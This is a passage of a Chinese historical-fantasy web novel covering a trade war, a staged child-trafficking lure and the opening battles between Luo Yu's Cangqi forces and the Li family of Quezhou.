阙州的布行分为两种,一种是李家直营,另一种是其他布行选择从李家进货,自己售卖,总之棉布的源头都来自李家,利润大头也进了李家的口袋。
一开始迫于李家的威慑,无人敢从凤川进货,硬着头皮继续买李家棉布。
眼看着凤川布越卖越好,从李家进的货却只能烂在仓库,大大小小的布行都开始偷偷从凤川进货,相当于动摇了李家收入来源的根基。
李家彻底坐不住了,明面上比不过只能使阴招。
我不能直接封了你的布行,但我总能断了你的原料来源吧?阙州境内的几个产棉大户都被李家威胁过了,一车棉花也不准卖给凤川,谁卖谁死。
江殊早就料到会有这一出,提前囤积了大量棉花,并且派出人手去乡下农户的手里挨家挨户收棉,价格公道,李家管得住大户,总不至于能管住所有农户吧?
一计不成李家又出一计,怂恿大量山贼土匪去劫凤川布行的货,反正李松年只答应保护布行的安全,货在路上被劫总不能怪我吧?
凤川也没放松警惕,不管是运货还是送货,外出定有军卒随行护卫,哪个土匪不开眼就顺势剿灭,到头来一匹布没丢,反而解决了不少匪患,再一次赢得了百姓们的好评。
互相斗法,各出奇招,争斗不止。
阙州大大小小的势力都嗅到了一股山雨欲来风满楼的味道,这么多年来还是头一回有人敢硬杠李家。
他们知道,两家开战是迟早的事,只是还缺一个理由、一个契机,谁想先挑起战端,必须有个说得过去的理由!凡事总得讲个师出有名。
青溪村
曾经凤川城外毫不起眼的穷乡僻壤短短两三个月就变得车水马龙、商贾往来不绝。
隶属官作司的织女起码有上千人,日夜三班倒,源源不断地产出棉布。
每天都有一支支车队从这里启程,将棉布运往阙州各城,甚至连定州、并州都有商人慕名而来,求购棉布,生意红火。
“卖了几个月总算有银子入账了,哈哈。李家的布以后一匹都别想卖出去!”
随着凤川布彻底打开市场,这个价格足以让以前穿不起棉布的百姓略微咬牙也能买得起,销量自然持续走高,利润也开始有了。
只要有一两银子入账,以后白银会源源不断流入官作司的银库,然后变成洛羽养兵的本钱。
“这次多亏了你。”
洛羽轻声道:
“没有听雨楼不计成本的投入,官作司前期可亏不起那么多银子。接下来官作司的利润按比例和听雨楼分,不能让听雨楼白白吃亏。”
“银子不银子的我无所谓。”
江殊欣慰道:
“能看到这么多织女自力更生,靠自己养家糊口,我比谁都开心。
对了,李家最近安静了许多,鼓动的土匪基本上都被我们剿灭,黔驴技穷了。”
“李家可不会这么容易认输的,李玄冰更是个睚眦必报的小人。”
洛羽眉头微凝:
“我总觉得他们在憋什么坏主意,万不可大意。”
“将军,江兄!”
正说着,一身官袍的梅雪崖疾步匆匆地走了过来,江殊打趣道:
“梅知府日理万机,今日怎得有空来咱这乡野山村了。”
这段时间萧少游练兵备战、梅雪崖整顿吏治、江殊经商赚钱,三人各司其职,分工明确。
“出了些怪事。”
梅雪崖苦笑一声:“我拿不准主意,只能找将军商量商量。”
“噢,怪事?”
洛羽颇有兴趣:“说说看。”
梅雪崖缓缓道来:
“近期有几名百姓到衙门报案,有的说是家中女儿莫名其妙失踪了,有的则是被土匪直接掳走的,弄得人心惶惶。”
“人丢了就派衙役去找,如果是土匪作恶,衙役对付不了,便让少游他们出动军卒,将匪窝连根拔起。”
洛羽有些疑惑,倒不是他不重视失踪女子,而是以梅雪崖的能力不至于连这种案子还要来问他。
“起初我也认为是件小案子,后来我整理了一下凤川多年来积压的陈年旧案才发现事情不简单。这些年几乎每个月都会有类似案件上报,失踪女子全都是十三四岁左右的幼女,且一个都没有找到。
为此下官特地去打探了一下其他地方的消息,发现这种情况不止是凤川一地,各城皆有。”
梅雪崖的表情越发凝重:
“将军不觉得奇怪吗?为何失踪的都是幼女,而且多年来持续不断?
就给人一种有人在幕后隐隐操控此事的感觉。”
“是有些奇怪啊。”
洛羽终于认真起来,江殊挑了下眉头:
“你似乎话里有话啊,是不是有所推测?”
梅雪崖犹豫了一会儿,低声道:
“天阙城内有不少青楼,绝大部分都是李家的产业,经常有豪客在里面一掷千金。
听说这些青楼里就有不少幼女,深受客人喜爱。”
洛羽的眼眸陡然一寒:
“你难道是说,绑架幼女的幕后主使是李家?”
“只是猜测,没有任何证据。但失踪案的时间跨度长、涉及区域又广,如果真有幕后主使,此人绝不是寻常人。”
三人面色冰冷,如果真是李家拐卖幼女,那也太耸人听闻了。
堂堂持节令、阙州的父母官,平时李家嚣张跋扈也就罢了,可你大规模绑架幼女、送去青楼当妓女那就得遭天谴了,这消息若是传出去,李家能被百姓活活骂死,人心尽失。
梅雪崖郑重其事地说道:
“如果真的牵连李家,那此事必将震动阙州,所以下官拿不准主意。”
洛羽来回踱步,过了很久才冷声道:
“刚刚你说有些幼女是被土匪绑架的,能查到土匪的踪迹吗?”
“已经盯上了一批土匪,暂时还没有打草惊蛇。”
“让韩大哥亲自带人走一趟,看是不是与李家有关。”
洛羽冷笑道:
“如果真是李家,那他们的末日就不远了!”
第160章惊天隐秘
荒野山间,人烟罕至
初夏的骄阳很是刺眼,空气中充斥一股燥热,但山中树影密布,遮挡了烈日,让人倍感清凉。
郁郁葱葱的绿树林中弥漫着一股血腥味,地上横七竖八地倒着数十具死尸,都是一刀封喉、干脆利落,一名名手持苍刀的精悍军卒正在仔细地打扫战场,生怕漏过一人。
七八名土匪瑟瑟发抖地跪在地上,几个胆子小的已经湿了裤子,隐隐飘散的尿骚味让人很是鄙夷。
为首的土匪叫刘麻子,长得尖嘴猴腮,瘦瘦弱弱,脸上像是挨了一巴掌,门牙都被打掉了两颗。
“各位军爷,小人,小人到底哪里得罪你们了。”
刘麻子欲哭无泪,直到现在他还没弄清楚是怎么一回事。自己的山大王当得好好的,怎么就招惹到洛家军这帮恶魔了呢?一大早突然出现在山寨门口,拎着刀就开始杀,眨眼间的功夫土匪就死了一大半。
韩朔拄着把苍刀坐在他面前,微眯双眸,一言不发,光是杀气毕露的眼神就足以震慑这帮土匪。
很快军卒就领着十几名幼女从寨内走出,女孩们哭哭啼啼,互相搂抱着,死尸遍地的场面更是吓得她们小脸煞白。
梅雪崖尽可能地安抚着:
“不要怕,我们是官军,是来救你们来。你们都是被土匪掳掠来的?”
“对。”
或许是梅雪崖长得眉清目秀,没那么吓人,一名女子壮着胆子答道:
“小女子有一日在村口外浣洗衣服,这群土匪突然出现将我掳掠到此处,刘麻子还说要把我们卖了。”
“对对,他们还说这次人多,能卖个好价钱。”
“知道了,没事,你们已经得救了,我会派人把你们送回家与家人团聚,不用惊慌。”
“谢大人救命之恩!”
听闻自己得救,一群女子感激涕零,梅雪崖则朝韩朔使了个眼神。
韩朔心领神会地站了起来,拎着苍刀环视全场:
“接下来我问,你们答,老实回答问题才有机会活下来,否则本将军就把你们丢尽荒山喂狗!”
一群土匪瑟瑟发抖,涕泪横流。
韩朔走到最左边,哪知他并没有问问题,抬手就是一刀把土匪给捅死了,白刀子进去红刀子出来。
一群土匪全都蒙了,怎么说杀就杀?
“噗嗤!”
哪知还没等他们回过神,韩朔下一刀又落了下来,这次更狠,直接将土匪的人头砍下,像是在宣泄心中的怒火。
一刀又一刀,韩朔一言不发就砍死了六名土匪,只剩一个刘麻子还活着。
当韩朔的刀锋再次举起时,刘麻子吓得魂都飞了,尖叫道:
“不,不要啊将军!”
韩朔还真停住了刀,好奇道:
“咦,你有话说?”
“将军您倒是问啊,您不问小的怎么知道该说什么!”
刘麻子都快哭了,不是说好了回答问题就可以活命吗,你倒是先问啊!
“我没问吗?”
韩朔茫然地看向梅雪崖,梅雪崖很无奈地摇了摇头。
“哎啊,刀快了,不好意思。”
韩朔收回弯刀,随手擦拭着刀锋上的血迹:
“这些幼女都是你掳来的?”
“是。”
“听方才所言,你打算卖了她们?卖到哪里去?”
“卖,卖给李家。他们说只要咱们能掳来姿色上佳的幼女,便会以高价收购,卖他们的幼女的不止是我们,阙州很多土匪都会送幼女给李家。”
若换做一开始刘麻子还准备撒个谎,但他刚刚已经领教过了韩朔的杀人不眨眼,现在哪还敢撒谎,赶忙和盘托出。
“果然是李家。”
韩朔与梅雪崖的目光一凝,心中顿生杀意。
堂堂一州持节令,竟然从土匪手里买幼女!
“看你这样子也不是第一次干了,好好说说吧,与李家是如何交易的。”
刘麻子赶忙从实招来:
“我们负责掳掠幼女,每隔一段时间就将她们送给李家,李家会根据女子的相貌、年龄付我们银子,若是有姿色好的,卖价高达百两。”
“送给李家?总不至于将这些掳来的幼女送入天阙城吧?”
“不不不,不是天阙城。”
刘麻子赶忙摇头:“此地往东南方六十里有一座野槐山,因山中多长槐树而得名,我们都是把人送到那儿去。
李家在那儿建起了一座寨子,足有上千兵丁把守。”
“你可知道李家买这些幼女要做什么?”
“李家会教这些幼女琴棋书画、练其体态,等再过两年就送入天阙城中的青楼当妓女。很多达官显贵就喜欢这种年轻女子,愿意为其一掷千金。
不过所得利润全归李家,那些女子一辈子也别想离开青楼,若是想跑只有死路一条。”
“你确定?”
“千真万确!”
刘麻子信誓旦旦地保证道:“小人曾经去过城中青楼,亲眼见过我掳来的女子成了店中的头牌。”
韩朔与梅雪崖对视了一眼,脸色铁青,难以想象这是一州持节令干出来的事。
“将,将军。”
刘麻子小心翼翼的问道:
“小人已经全都交代了,是不是应该放了……”
“噗嗤!”
话音未落,刀锋就割破了他的咽喉。
韩朔冷冷地回了一句:
“我说了,是有机会活下来,不是一定!”
……
将军府内寂静无声
萧少游、梅雪崖、江殊以及各营主将尽数到齐,韩朔带回来的消息令他们倍感震惊,心中不止有愤怒,更觉一股压抑。
这就是阙州的父母官,难以想象阙州百姓生活在何等的黑暗之中!
“我觉得这是天大的机会。”
萧少游沉声道:
“其实所有人心里都清楚,我们与李家之间必有一战,眼下的和平只不过是碍于朝廷的面子。双方都在等一个光明正大的理由讨伐对方。
咱们如果能攻下野槐山,证实这么多年来一直是李家在背后指使土匪掳掠民女,那阙州必将民怨沸腾!李家草菅人命,我苍岐大可举兵伐之,替天行道!
李家的实力明面上看起来强大,整个阙州都对其俯首帖耳,可我苍岐六营兵马已经整训完毕,更有数千经过边关血战的老卒。
与李家开战,我等有信心战而胜之!”
“对!”
蒙虎挥舞着拳头:“干出如此天怒人怨的事,不杀李家父子不足以平民愤!”
霍连城咬牙切齿:
“李家在阙州作威作福的够久了,是该换一番天地了!”
在一众武将眼里看不出半丝对李家的畏惧,大家都是从死人堆里爬出来的,还怕你?
“既然大家意见一致,那我们就向世人揭露李家的黑暗吧。”
洛羽目光冷厉:
“韩将军、徐都尉,你们两率兵,偷袭野槐山!”
“诺!”
第161章夜袭野槐山
野槐山
山如其名,漫山遍野都长着槐树。
夜幕低垂,槐树的枝丫在月光中伸展,挂着成串的槐花,借着月色的映衬泛着幽光,随着山风簌簌摇动。
夏初之季正好是槐花盛开的时节,晚风一吹,清香味扑鼻而来。
本该是一番绝美夜景,也不知为何,整座山峰都给人一种幽森、压抑的感觉,树梢更像是地底探出的嶙峋骨手,乍一看甚是可怖。
听附近的村民说,从十年前开始山中就有恶鬼穿行,逢人便杀,入山的猎户都是有去无回,野槐山的凶名渐渐就传开了,再无百姓敢深入山谷。
漆黑的夜色中亮着些许篝火,四五名汉子绕火而坐,几把朴刀架在一旁,百无聊赖地讲着些荤段子:
“你们有没有看到前几天刚送来的那群娘儿们,乖乖,个个姿色过人,若是能让老子快活一夜,死了也值。”
“得了吧,那可是给达官显贵享用的,就咱们这点军饷,只能去城脚的小花坊。”
“唉,人比人气死人啊,咱们怎么就没那个好命生在有钱人家。
你说那些有钱人也是古怪,放着胸大屁股大的娘儿们不要,偏偏喜欢幼女。”
“贵人之癖我们怎么会懂。下辈子投胎投好点吧。”
“哈哈哈!”
林中响起一片哄笑声,还带着几分淫荡。
“嗖嗖嗖!”
笑声未落便有一阵破风声陡然响起,几支利箭从林间飙射而出,瞬间洞穿了几人的咽喉。
篝火依旧在摇曳,映得鲜血透红。
大批黑影闪掠而过,人人身披轻甲、手握弯刀,踩的枯树枝嘎吱作响。
韩朔与徐松二人出现在了篝火旁,冷冷一笑:
“李家还真是谨慎啊,光是外围就摆了十几处暗哨,看来山中确实藏着不可告人的秘密。”
徐松瞟了一眼地上的死尸:
“听他们刚才所言,应该经常有女子被卖到这里,估计此处就是李松年父子俩藏匿幼女的地方。
该死的李家,竟做出如此天怒人怨的恶行!”
这种事谁听了都得心生愤怒,骇人听闻!
韩朔眼中凶光闪烁:
“今夜那些女子就能逃离魔爪了!”
“我们走!”
两营之兵,整整两千号精锐步卒就这么无声无息地潜入了野槐山,李家布置在外围的所有暗哨都被一一拔除。
这可是精锐边军,对付所谓的牙兵那还不是手到擒来?
大军往前深入数里,便看到了刘麻子口中的山寨,准确地说是一道两人高的营墙,正好卡在谷口的位置。
按照刘麻子所言,山寨共有两道营墙,第一道戒备示警,过了第二道才算是进入山寨内部。
以往土匪们来卖幼女,过了第一道营墙便得止步,将幼女交给李家,第二道营墙内是何模样谁也不知道。
“看起来守卫不是很严啊。”
韩朔目光微凝,借助微弱的火光他能隐约看到墙头有十几道人影在晃动,但他们明显没有把注意力放在墙外,完全就是在瞎晃悠。
徐松冷笑道:
“这么多年来周围乡村流言四起,老百姓们哪还敢进山,守卫松懈很正常。
我估计那些流言就是李家故意放出来的,正好掩人耳目!还真是心思叵测啊。”
“有道理,那就一鼓作气拿下野槐山!让百姓们看看李家何等龌龊!”
韩朔的手掌轻轻在虚空中一挥:
“动手!”
数十名精锐军卒抬着木梯箭步冲出,眨眼间便抵达营墙脚下架好了木梯,顺势往上攀登。
区区两人高而已,对这些爬过云阳城头的悍卒来说如探囊取物,三两下便翻了上去,墙头守卒都还没来得及反应便全被斩杀于夜色之中。
先行入寨的精锐们目标明确,翻身而下捅破了营门,两道木制的营门轰然大开。
当然了,就算李家的牙兵再蠢此刻也该反应过来了,一道凄厉的怒喝声打破了深山的宁静:
“敌袭!”
“有人偷袭山寨!”
韩朔目光狰狞,挥刀向前:
“给我杀!不准放走一人!”
“杀!”
数千悍卒顺着营门蜂拥而入,进入营墙之后就是一片营地,地方倒是很空旷,到处都堆积着杂物。
几十间木屋里涌出了上百号军卒,人人持枪握刀,领头的黑脸汉子怒声喝道:
“你们是什么人!知不知道这里是什么地方!吃了熊心豹子胆敢来这撒野!”
“老子是什么人?”
徐松讥讽一笑,提刀上前:
“要你命的人!”
“喝!”
厚重的一刀当头劈落,刀锋寒光闪闪,黑脸汉子目光一变,忙不迭地抬刀去挡:
“铛!”
“噔噔噔!”
强劲的力道震得他连退好几步,黑脸汉子的脸色终于变了,意识到自己面对的是一个可怕的对手。
“混蛋!你们到底是什么人,这可是李家的地盘!”
可还不等他站稳,徐松的第二刀已经极速劈落:
“什么货色,也敢挡我的路!”
“死吧!”
“哐当!”
“噗嗤!”
黑脸汉子的朴刀刚刚抬到一半,就被徐松一刀砍成了两截,然后刀锋顺势砍在了他的脖子上。
一刀毙命,鲜血飞溅。
“给我杀!”
“杀啊!”
夜幕昏昏、火光缭绕,刀光剑影不断飞舞,一声声凄厉的惨叫响彻夜空。
所谓的李家牙兵怎么可能是精锐边军的对手,不到半烛香的功夫就被斩杀殆尽。
战场陡然陷入了沉寂,横七竖八的尸体让这座野槐山又增添了几分恐怖。
韩朔并没有因为杀光敌人感到开心,反而皱起了眉头。
第一道营墙已经打成了这样,可远处的第二道营墙毫无动静,连一个人影都没有,只有数十支火把在夜色中晃荡着。
韩朔与徐松对视了一眼,都从对方眼中看到了不安。
“不对劲。”
韩朔缓缓提刀,冷声喝道:
“全军戒备!”
“霍!”
“呼啦啦!”
就在此刻,营墙上头竖起了数不清的军旗,一面面“李”字军旗高高飘扬,在火光的映衬下透露着诡异。
还有无数火把高高举起,震天吼声回荡在山野之间。喊杀声不仅来自前方,就连后方丛林中也有敌军涌现。
被包围了!
一道壮硕的身影站上墙头,面无表情地喝道:
“此乃阙州军营,何方宵小,敢夜袭官军驻地!”
“妈的,中计了!”
韩朔与徐松脸色一黑,他们知道此人是谁。
李家李光振,正五品游击将军,与云阳关被杀的李光业乃是亲兄弟,根据刘麻子的口供,就是此人坐镇野槐山。
看来外围的岗哨和第一道营墙的守卒全都是诱饵,为的就是把他们骗进来。
下一刻,一道修长的身姿出现在众人的视野里,男子邪魅一笑,袍袖轻挥:
“李家李玄冰,恭候诸位多时了。”
第162章风起云涌,洛李开战
“李玄冰!”
雪白长衫出现的那一刻韩朔就明白,李家为了今夜一战定然埋伏了重兵!否则不会让李家大公子亲自出马。
营墙山中皆有伏兵涌出,嘶吼声震天不绝,光看满山摇曳的火光就知道,伏兵绝不下四千,数倍于己。
夜风吹拂,早已闻不见槐花香,只有血腥味扑鼻而来。
好在洛家军训练有素,不需要主将下令,各百户都尉就结成了防御阵型,双方兵马互相对峙,大战一触即发。
韩朔怒喝道:
“勾结土匪、掳掠幼女、供人奸淫,李家干出如此丧尽天良的勾当,就不怕遭天谴吗!”
“死到临头还有空操心这些事,还是先担心担心自己吧。”
李玄冰冷笑一声,轻轻一挥手。
李光振迈前一步,朗声喝道:
“苍岐军卒袭击军营,滥杀官军,密谋造反,证据确凿!”
“奉持节令诏,诛杀反贼!”
这一刻韩朔与徐松全都明白了,李家为何要布置陷阱,引诱己方偷袭野槐山,就是为了有一个名正言顺的理由对苍岐开战。
李光振拔刀一挥:
“一个不留!”
“杀!”
营门大开,数不清的李家牙兵冲入战场,洛家军浑然不惧,悍然对冲。
一场大战拉开帷幕。
刀剑纷飞、吼声震天。
李玄冰面带讥讽,甚至有些得意:
“真以为我李家深藏多年的秘密会这么容易被你们发现?若不是本公子故意泄露风声,你们这辈子也不会打听到一根毛!”
“洛羽啊洛羽,阙州都说你是天降帅才,没想到不过如此,呵呵。”
“杀啊!”
“铛铛铛!”
面对重重围攻,韩朔不慌不忙,先指挥军卒冲杀出第一道营墙,防止被彻底堵死在营寨里。
撤出营门之后他们才发现李家果然埋伏了重兵,漫山遍野的火光照亮了半边天。
“全军结阵,就地防御!”
韩朔厉喝一声:
“让他们看看,边军精锐是如何打仗的!”
“轰!”
战场看似混乱,可两千步卒迅速依靠盾牌长枪围成了一个圆形盾阵,阵型厚实无比。任凭李家牙兵如何冲杀,防线始终稳如泰山。
甚至时不时会有百户领着数十号精锐从阵中杀出,打一个反击,打得李家牙兵措手不及。
“杀,给我杀!”
李家一名偏将拼命地指挥牙兵冲锋,他就不信盾墙能比城墙还坚固,就冲不开?
一名名牙兵往前扑,毫无例外全都被探出的枪尖捅死,还不待他继续指挥进攻,盾阵陡然从中间分开。
韩朔手持利刃,健步前冲,脚掌一跺便高高跃起在空中:
“杂碎,给我死!”
偏将脸色骤变,还没来得及抬刀去挡就被韩朔削去了半条胳膊,凄厉的惨叫声瞬间响起。
整整一个时辰,双方沿着盾阵反复拉锯、冲杀,完全陷入了僵持。
李玄冰脸上的笑容渐渐消失,取而代之的是一股不满:
“怎么回事,四千人都打不垮两千人?”
李光振满脸凝重,苦笑道:
“公子,洛家军确实骁勇善战,想吃掉他们怕是得下一番大力气。实在不行咱们就将其重重围住,困也能把他们困死!”
“轰隆隆!”
“杀啊!”
山峰谷口陡然传出震耳欲聋的马蹄声,隐约可见一支黑甲骑兵杀入战场,直奔寨前。
“救兵!是寒弓!”
韩朔目光一亮,分外惊喜。
余寒弓一路横冲直撞,最后在阵前勒住缰绳:“韩将军,你带步卒先撤,我来断后!”
“好!”
韩朔也不迟疑,当即组织兵马往外突围,有骑兵四处袭击,李家牙兵顿显骚乱,眼睁睁地看着洛家军往外冲却无能为力。
也就是在这深山老林里面了,骑兵施展不开手脚,不然余寒弓带来的一千骑足以击溃李家兵。
“混账!”
李玄冰目光阴沉,如此布局竟然还能被洛家军给突出重围,暴怒无比:
“给我拦住他们!”
“全歼不了也得重创!”
任凭李大公子如何嘶吼,也拦不住两千步卒绝尘而去,气得他直跺脚。
余寒弓的目光落在了墙头上,弯弓搭箭:
“来而不往非礼也!”
“嗖!”
一支利箭破空而出,直射墙头。
李光振目光陡变,奋不顾身地将李玄冰往地上一扑:
“公子小心!”
“嗖!”
李玄冰刚被扑倒,利箭就射过了他刚才所站的地方,狠狠地往墙上一插,强劲的力道让箭尾高速抖动。
李玄冰被惊出了一身冷汗,如果不是李光振的一扑,此刻自己就要血溅当场。
余寒弓轻扯缰绳,朗声怒喝:
“洛将军托我带话,李公子的手段咱们苍岐领教了!”
“他日必当奉还!”
……
将军府内的氛围有些低沉,没想到偷袭野槐山竟然吃了一场败仗。
“将军,此战是我二人疏忽大意,请将军治罪!”
韩朔与徐松面带愧疚,此战兵马虽然没什么损失,可对军心士气还是有打击的。
“不怪你们,怪我。”
洛羽挥了挥手,自己担下了责任:
“其实从你们走后我就隐隐觉得不安,我在想此事出现得太过蹊跷,早不发生晚不发生,偏偏发生在两家最剑拔弩张的时候。
而且刘麻子区区一个小土匪,怎么就能知道李家这么多隐秘?如果李家指使土匪掳掠幼女的消息这么容易就被查出来,那早就瞒不住了。
所以只有一种可能,这是李玄冰设的一个局!”
洛羽目光阴沉,也就是想通了这一点他才立刻派余寒弓去野槐山支援,幸好没去晚。
“看来李家为了此战精心筹谋许久啊。”
萧少游的拳头微微握紧,面带怒气:
“羌兵入侵李家只知保存实力,对付自己人倒是大手笔。”
“妈的,开战便开战!”
蒙虎怒火中烧:“既然是李家先挑起战端,那咱们就没什么好说的,打!”
“将军!”
江殊和梅雪崖疾步匆匆地走了进来:
“已经派人去探过了,李家借口我苍岐造反,断绝了酒水、布匹的运输通道,并且查抄了所有布行。
据情报,李家已经在召集各城牙兵,准备进攻苍岐、凤川。”
“果然是准备许久啊。”
李家动作之快超乎了所有人的想象,洛羽缓缓起身:
“诸位。”
“战争这就开始了!”
……
大乾历景丰十年夏
阙州持节令李松年上奏朝廷、传檄全境:
定边将军洛羽袭击军营、残杀官军,密谋造反,召各城兵马共诛之!
随即苍岐发文昭告阙州百姓:
李家私通羌贼、出卖边军、勾结土匪、掳掠幼女,罪行累累,罄竹难书。号召各城举义旗,伐李家,替天行道!
两家开战!
第163章你虎爷爷来了!
凤川城东南方三十里立着一块界碑,过了界碑就算是进入凤川境内了。
庞大的军阵矗立在平原上,漫天飞舞的军旗皆大书一个“李”字。
短短十日,李家讨伐洛羽的大军就已经集结完毕,动作比迎战羌人要快得多。苍岐处于三岐山内,三山环绕,地势险要、易守难攻。要想攻克苍岐必须先拿下凤川城,所以凤川就成了李家的头号攻击目标。
整整八千军卒,骑步混合,只不过军中服饰各异,这是李家召集了七八城的牙兵拼凑出来的部队,真正隶属于李家的只有两千人马。
此前对付羌人,李家没那么用心,但这次讨伐苍岐李家是出了死力的,严令各城出兵,谁敢不出兵李家就会视其为敌人。
此令一出谁还敢懈怠?你洛羽就算再名震阙州,但李家多年来积攒的威严依旧能震慑全境。
李家军的对面同样有一座骑阵,不过规模看起来就小得多,区区千余人,领兵而来的蒙虎百无聊赖地晃荡着脑袋,时不时还会撇个嘴。
身后一千精骑同样是这般表情,很随意地整理甲胄,看不出半点大战来临的紧张
两军遥遥相对,恰好以界碑分割,各占一方。
李家正中央高举一面帅旗,军旗之下便是此次出兵讨伐苍岐的主将:李承云。
在一众李家武将里此人算是颇为厉害的那一个,早年间征战边关,有过击败千余羌贼的彪悍战绩,颇受李松年父子俩倚重。
李承云从马背上踮起身子往对面看了看,眉宇微皱:
“洛羽小儿真是骄狂至极啊,我大军压境,他竟敢只派千余人迎战。”
他身边围着的几人就是随军出战的各城城主以及李家偏将,其中一名身材略显壮硕的将领讥讽道:
“估摸着那位洛城主也就这么点兵马了吧,不自量力,也敢与李大人为敌?
不是说洛家军骁勇善战、战无不胜吗?怎得在野槐山被打得丢盔弃甲呢?
依我看就是徒有虚名罢了,指不定靠什么下三滥的手段才杀了完颜康与完颜昌。”
开口说话的人叫崔莽,鼎城城主,十年前还是个土匪头子,杀人放火打家劫舍,无恶不作,靠着一柄三环大刀闯出了名堂,最终占据一城过起了人上人的日子。
“崔将军说得对,什么骁勇善战,一群土鸡瓦狗罢了。”
“哈哈哈!”
众人哄笑出声,在开战之前李家就把野槐山一战拿出来大肆宣扬,夸大战果,声称歼灭了数千洛家军,尸体铺满了山林。这让一众城主顿时对洛家军心生轻视,心道不过如此。
“既然苍岐如此不把我们放在眼里,那咱们也该给他点颜色看看,否则还以为我阙州无人!”
李承云笑道:
“久闻崔将军有崔三刀之名,一柄三环大刀横行阙州,无人能挡将军三刀。倒不如今日请崔将军为前锋出战,以振军威!
只要击溃当面之敌、拿下凤川城,你就是头功!”
“有理,崔将军的大名咱们如雷贯耳,早就想见识见识了!”
“三刀砍死洛家军,哈哈!”
众将纷纷附和,鬼精的眼珠子咕噜直转,巴不得崔莽去打头阵呢,万一洛家军真的很厉害咋办?
在一片吹捧声中崔莽渐渐膨胀起来,豪气云天,策马向前:
“成!今日就由本将打头阵,让那个乳臭未干的小儿知道,阙州还轮不到他来撒野!”
“大军出战!”
令旗挥动,千余兵马缓缓行出,在军前列阵。
全都是崔莽麾下,人人杀气腾腾、面色凶悍。崔莽征兵就喜欢重金招募土匪山贼,他觉得土匪很简单,给钱给女人就能替你玩命,放纵属下在境内为非作歹,导致鼎城治下毫无律法可言,百姓苦不堪言,但由此也让崔莽有了一批愿意替他玩命的滚刀肉。
在场八千兵马,除了两千李家军,剩下的当属他最强。
瞧见有兵马行出列阵,蒙虎总算打起了精神,朝手心吐了口唾沫搓了搓,紧跟着就提起长枪一扯缰绳:
“驾!”
“轰隆隆!”
没有什么战前动员、鼓舞人心,麾下一千骑就这么策马冲出。
一匹匹雄壮大马迈动马蹄,溅起尘土飞扬,一排排长枪顺势斜举,寒光泛起波浪。
黑甲玄旗,浪潮滚滚。
如此威势让崔家兵马有些心慌,人群中隐隐生出骚乱。主要是他们身处境内,没去过边关战场,还从未见过上千披甲骑军冲锋的场面。
“都不要乱,虚张声势罢了!”
崔莽拎着三环大刀大咧咧地立于前方,高喝道:
“鼎城崔三刀在此,来将通报姓名,老子刀下不杀无名之辈!”
话音刚落,蒙虎就猛地一夹马腹,骤然前冲,混铁长枪没有突刺,而是拦腰砸了出去:
“你虎爷爷来了!”
“喝!”
蒙虎的马太快了,快到话音刚落就冲到了崔莽身前,崔莽心头咯噔一下,本能的想往后退,可身后那么多城主看着,退一步多丢人?
他选择了正面迎战,双手紧握刀柄,用尽吃奶的力气挥了出去:
“狂妄!”
“接我一刀!”
你别说,这一刀确实势大力沉,带起了阵阵风声,还迎来了一片喝彩。崔莽更是自信一笑,当年他就是凭借这一手刀法才占据了鼎城,凶名赫赫。
“铛!”
但刀锋撞上枪杆的那一刻,崔莽脸上的自信变成了震惊与绝望。
枪杆像是有千斤力,一枪便拨开了刀锋,震得崔莽手臂脱臼,旋即就狠狠砸在了他的胸口上。
“咔擦!”
“噗嗤!”
崔莽的身躯像断了线的风筝飞出去老远,重重往地上一砸,胸骨尽碎,眼眶一突就咽了气。
周围的兵马全都惊呆了,他们的城主就这么被人轻飘飘地宰了?紧跟着一声冲天怒吼把他们从失神中拽了回来:
“杀!”
“砰砰砰!”
“噗嗤噗嗤!”
“啊啊!”
上千精骑一冲而过,铁蹄踏地的轰鸣声闷如惊雷,震得界碑旁的碎石簌簌跳动。
枪尖所过之处,持枪军卒就像割麦子一般倒下,鲜血混着尘土腾起三尺高。
鼎城的匪兵哪见过这等阵仗?前排的盾手刚举起木盾便被长枪连人带盾捅穿;后排的弓手还没来得及搭箭,就被马蹄碾压的血肉模糊。
什么山中悍匪、什么滚刀肉,前排防线就像是纸糊的一般被撕裂的七零八落,甚至都没能迟滞骑军分毫。
冲过崔莽的尸体时蒙虎皱眉问了一句:
“他叫什么来着?吹三刀?”
第164章区区八千敌
望着鼎城匪兵被洛家军摧枯拉朽般打垮,所有城主武将都傻了眼,这打的叫什么仗?洛家军这么强吗?
尤其是刚才崔莽被蒙虎一枪砸得栽落马背的时候,所有人都觉得心头一颤,崔莽虽然莽了点,没什么脑子,可一身刀法他们还是认可的,在场的没几个接得住。
“咻!”
凄厉的响箭划破云霄,吸引了所有人的视线,一张张茫然的脸庞望向空中,耳边似乎有沉闷的马蹄声渐渐回荡,旋即响彻云霄。
“轰隆隆!”
除了在正前方凶悍凿阵的蒙虎,战场左右后三面皆有骑兵杀出,吕青云、余寒弓一左一右,霍连城断后截杀。
洛李两家初战,苍岐四营骑兵尽出!
“披甲骑军!四千!”
李承云傻眼了,在开战之前他们查过苍岐的底细,应该只有三四千兵马,骑军绝不超过两千。
可如今四面八方涌现的黑甲骑军是哪儿来的?
洛家军操练大多都藏在三岐山中,四面群山环绕,怎么可能被旁人知晓?
被围在战场中央的李家军惶恐不安,一众领军武将更是吓白了脸,刚才他们已经亲眼见识过蒙虎的战力,谁还敢轻视洛家军?
李承云嘴角一抽,声嘶力竭地吼道:
“不要乱!分兵迎敌!挡住敌军!”
“盾牌手顶上去!用马车拦在阵前,弓弩手策应,射住阵脚!”
“快啊!”
一连串的命令从李承云的嘴里冒了出来,你还别说,确实像带过兵的样子。可凭李家拼凑出来的八千兵马,你还想做到如臂挥使?
不下令还好,一下令大军就更乱了。
有的士卒拎起盾牌就往侧面跑,刚转身就把身边的同袍撞翻了;有的人想将马车推到阵前去阻拦骑兵,可人群乌泱泱的挤在一起,根本就走不动道;
最乱的就是正前方,被杀破胆的鼎城匪兵扭头就跑,谁还敢阻拦披甲骑军?一哄而散,硬生生冲散了己方的阵型。
“混账,不要乱!”
李承云牙呲欲裂,破口大骂:“谁敢临阵脱逃,杀无赦!给我结阵,迎战!”
“杀!”
“砰砰砰!”
三面伏兵同时撞阵,雄壮的马蹄肆无忌惮地踩踏着敌军的胸膛,几乎没有遇到任何强有力的抵抗就撕开了防线。
看似李家兵多将广、数倍于敌,可真打起来他们才发现,这就像是一个壮汉在欺负一群刚学会走路的婴儿,毫无还手之力。
兵败如山倒!
身处大阵中央的李承云茫然了、绝望了,在出征之前他还信心满满,要为家族立下大功,可没想到第一仗就败得这么彻底。
